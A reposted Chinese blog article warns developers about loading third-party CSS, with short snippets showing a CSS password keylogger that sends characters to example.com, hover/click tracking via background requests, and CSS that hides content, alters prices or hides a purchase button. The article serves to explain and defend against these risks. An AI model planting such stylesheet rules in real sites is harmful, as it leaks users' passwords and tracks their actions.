本文來自@yeaseonzhang；鏈接：http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/

CSS能做的東西還是很多的，隨著CSS Houdini（胡迪尼）的標(biāo)準(zhǔn)化，會變得更強大...

正文從這里開始 ~

為了實現(xiàn)高效開發(fā)，大多數(shù)時候會選擇別人實現(xiàn)好的庫/組件引用到自己的項目中，但是這樣真的安全嗎？

大多數(shù)web開發(fā)者認(rèn)為只要不使用別人的js，安全就會有保證。Too young, too naive，殊不知“黑客”已經(jīng)開始在css上做手腳了。

在瀏覽器設(shè)置中用戶可以禁用js，但是css卻是沒有辦法禁用的。

首先聊一聊使用第三方資源，能夠造成的危害。

圖片

<img src="https://img.com/iphone6s.jpg">

引用第三方圖片資源，可能會出現(xiàn)2個問題：

• 圖片資源失效
• 圖片資源被替換

上圖展示了使用第三方圖片可能帶來的后果，圖片資源只會影響自身的狀態(tài)而不會影響其他部分。

腳本Javascript

<script src="http://example.com/script.js"></script>

腳本的作用范圍就不是圖片能夠比擬的了，腳本能夠隨意控制整個頁面。

• 讀取、篡改頁面內(nèi)容
• 監(jiān)控用戶行為
• 使用用戶瀏覽器的算力進行挖礦
• 使用用戶cookie做請求，并轉(zhuǎn)發(fā)響應(yīng)
• 讀取、篡改瀏覽器storage
• More

注：storage/indexDB 如果被更改，即使刪除了腳本，這些更改仍然不可逆。

只有在完全信任的情況下，才會選擇加載第三方腳本。

CSS

css在作用范圍的方面更加接近于js，因為它同樣是在整個頁面生效。

css能在以下幾個方面對頁面進行操作：

• 增、刪和改頁面內(nèi)容
• 根據(jù)頁面內(nèi)容發(fā)起請求
• 響應(yīng)用戶交互

與js相比，css不能做到的是修改storage，也不能用來挖礦。

鍵盤記錄器

鍵盤記錄器，指的是頁面會記錄用戶的輸入。目前這種行為只存在于使用React/類React框架的頁面。

input[type="password"][value$="p"] {background: url(//example.com/password?p); }

如果密碼輸入框，輸入以p結(jié)尾的密碼，就會發(fā)起一個//exaple.com/password?p請求。瀏覽器默認(rèn)不會記住input輸入框的輸入，這也就是為什么說這種行為只存在于使用React/類React框架的頁面中，下面截取兩個例子。

JD主站沒有使用React/類React框架，輸入框的內(nèi)容不會再input標(biāo)簽中顯示value屬性

instagram使用的是React框架，會把輸入框的內(nèi)容同步顯示在input的value屬性中。

隱藏內(nèi)容

通過一些技巧，將真正的頁面內(nèi)容不展示給用戶。

body {display: none; } html::after {content: 'HTTP 500 Server Error'; }

上例將真正的主體內(nèi)容隱藏，展示給用戶HTTP 500錯誤。

增加內(nèi)容

.price-value::after {content: '8'; }

商品漲價了誒，估計連賣家都不知道。遇到這種情況用戶一般都不會產(chǎn)生購買欲望了。

移動內(nèi)容

.move-purchase-button {opacity: 0;position: absolute;top: 100px;left: 100px; }

結(jié)算按鈕被第三方css就這樣搞沒了，用戶根本沒辦法完成購買行為，這種情況對電商網(wǎng)站很傷，導(dǎo)致“只能看不能買”。

監(jiān)控用戶交互

.login-button:hover {background: url('//example.com/login-button-hover'); } .login-button:active {background: url('//example.com/login-button-active'); }

通過上面的代碼，可以用來檢測用戶在登錄按鈕的交互狀態(tài)，是hover還是active(點擊)，不同的狀態(tài)會發(fā)送不同的請求。

如果頁面中適量增加類似css代碼，可以有用來做用戶畫像分析。

轉(zhuǎn)載于:https://www.cnblogs.com/chenrf/p/9911689.html

總結(jié)

以上是生活随笔為你收集整理的前端读者 | 别人写的css，你敢用吗？的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。